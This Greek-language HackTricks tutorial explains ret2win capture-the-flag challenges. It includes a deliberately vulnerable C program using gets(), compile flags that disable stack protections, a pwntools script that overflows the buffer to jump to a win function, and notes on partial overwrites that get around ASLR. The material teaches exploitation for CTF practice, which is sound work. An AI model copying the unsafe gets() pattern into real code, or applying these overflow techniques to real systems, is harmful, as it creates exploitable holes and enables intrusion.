.. | ||
README.md | ||
ret2win-arm64.md |
Ret2win
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Βασικές Πληροφορίες
Οι προκλήσεις Ret2win είναι μια δημοφιλής κατηγορία στους διαγωνισμούς Capture The Flag (CTF), ιδιαίτερα σε εργασίες που αφορούν την δυαδική εκμετάλλευση. Ο στόχος είναι να εκμεταλλευτείτε μια ευπαθήτητα σε ένα δεδομένο δυαδικό για να εκτελέσετε μια συγκεκριμένη, μη κληθείσα λειτουργία μέσα στο δυαδικό, συνήθως με όνομα win
, flag
, κλπ. Αυτή η λειτουργία, όταν εκτελεστεί, συνήθως εκτυπώνει ένα σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση συνήθως περιλαμβάνει τον αντικαταστάση της διεύθυνσης επιστροφής στη στοίβα για να ανακατευθύνετε τη ροή εκτέλεσης στην επιθυμητή λειτουργία. Εδώ υπάρχει μια πιο λεπτομερής εξήγηση με παραδείγματα:
Παράδειγμα σε Γλώσσα C
Ας υποθέσουμε ένα απλό πρόγραμμα σε C με μια ευπαθήτητα και μια λειτουργία win
που θέλουμε να καλέσουμε:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Για να μεταγλωτίσετε αυτό το πρόγραμμα χωρίς προστασίες στη στοίβα και με το ASLR απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Μεταγλωττίστε το πρόγραμμα ως 32-μπιτο δυαδικό (αυτό είναι προαιρετικό αλλά συνηθισμένο σε προκλήσεις CTF).-fno-stack-protector
: Απενεργοποιήστε τις προστασίες ενάντια σε υπερχείλιση στη στοίβα.-z execstack
: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.-no-pie
: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησηςwin
δεν αλλάζει.-o vulnerable
: Ονομάστε το αρχείο εξόδουvulnerable
.
Εκμετάλλευση με Python χρησιμοποιώντας το Pwntools
Για την εκμετάλλευση, θα χρησιμοποιήσουμε το pwntools, ένα ισχυρό πλαίσιο CTF για τη σύνταξη εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα φορτίο για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Για να βρείτε τη διεύθυνση της συνάρτησης win
, μπορείτε να χρησιμοποιήσετε το gdb, το objdump, ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρήσετε δυαδικά αρχεία. Για παράδειγμα, με το objdump
, θα μπορούσατε να χρησιμοποιήσετε:
objdump -d vulnerable | grep win
Αυτή η εντολή θα σας δείξει την συναρμολόγηση της συνάρτησης win
, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της.
Το σενάριο Python στέλνει έναν προσεκτικά σχεδιασμένο μήνυμα που, όταν επεξεργαστεί από την vulnerable_function
, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στη στοίβα με τη διεύθυνση της win
. Όταν η vulnerable_function
επιστρέφει, αντί να επιστρέψει στο main
ή να τερματίσει, μεταβαίνει στην win
, και το μήνυμα εκτυπώνεται.
Προστασίες
- Το PIE πρέπει να είναι απενεργοποιημένο για να είναι αξιόπιστη η διεύθυνση σε κάθε εκτέλεση, διαφορετικά η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαζόσασταν κάποια διαρροή για να καταλάβετε πού φορτώνεται η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι
read
ή κάτι παρόμοιο, μπορείτε να κάνετε μια Μερική Αντικατάσταση 1 ή 2 bytes για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του τρόπου λειτουργίας του ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια 1/16 πιθανότητα (1 nibble) να λάβετε τη σωστή διεύθυνση επιστροφής. - Τα Καναρίνια Στοίβας πρέπει επίσης να είναι απενεργοποιημένα, διαφορετικά η χειρισμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
Άλλα παραδείγματα & Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, χωρίς ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits με ASLR, με μια διαρροή της διεύθυνσης του bin
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, χωρίς ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσετε τη στοίβα και να μεγαλώσετε το μέγεθος της δεύτερης υπερχείλισης
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, χωρίς καναρίνι, nx, χωρίς pie, format string για να αντικαταστήσετε τη διεύθυνση
fflush
με τη συνάρτηση win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσετε τη συνάρτηση win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσετε τη συνάρτηση win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Το πρόγραμμα ελέγχει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατόν να προστεθεί οποιοδήποτε μέγεθος όσο το τελευταίο byte βρίσκεται εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, χωρίς καναρίνι, nx, pie. Μερική αντικατάσταση για να καλέσετε τη συνάρτηση win (ret2win)
Παράδειγμα ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.